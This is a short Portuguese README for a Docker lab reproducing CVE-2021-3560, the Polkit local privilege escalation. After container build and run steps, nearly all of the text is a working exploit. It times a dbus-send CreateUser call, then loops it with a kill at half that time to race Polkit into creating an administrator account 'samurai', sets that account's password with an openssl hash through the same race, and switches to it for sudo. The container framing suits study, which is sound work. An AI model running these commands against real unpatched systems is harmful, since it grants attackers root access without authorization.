
Exploit baseado em Docker para CVE-2021-3560 (escalonamento de privilégio Polkit) com instruções passo a passo para criar um usuário sudo via condição de corrida no dbus-send.
por Mark, Qingchen Yu Para construir o container com
docker build -t <image tag of your choice> .
Para executar o container
docker run -it <image tag name>
Comece com start.sh
Meça o Tempo de Execução: Anote o tempo 'real' e calcule a metade dele.
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
Crie um Usuário com Privilégios de Sudo: Substitua X.XXX pela metade do tempo 'real' acima, pois queremos que o processo seja interrompido no meio o comando será executado em um loop de 10000 vezes Talvez seja necessário executar esta etapa várias vezes
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
Verifique a criação do usuário
id samurai
Deve mostrar que o usuário samurai existe e exibir suas permissões. Execute o passo 2 novamente se não.
Gere o Hash da Senha: neste caso, a senha seria 'iamsamurai' Anote o hash gerado.
openssl passwd -5 iamsamurai
Defina a Senha para o Novo Usuário: Substitua X.XXX pela duração do sleep e Password Hash pelo hash do passo 4. Substitua UUUU pelo ID do usuário 'samurai'
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
Alterne para o novo usuário com a senha criada no passo 4.
su - samurai
Agora você deve ser capaz de usar 'sudo com este usuário'.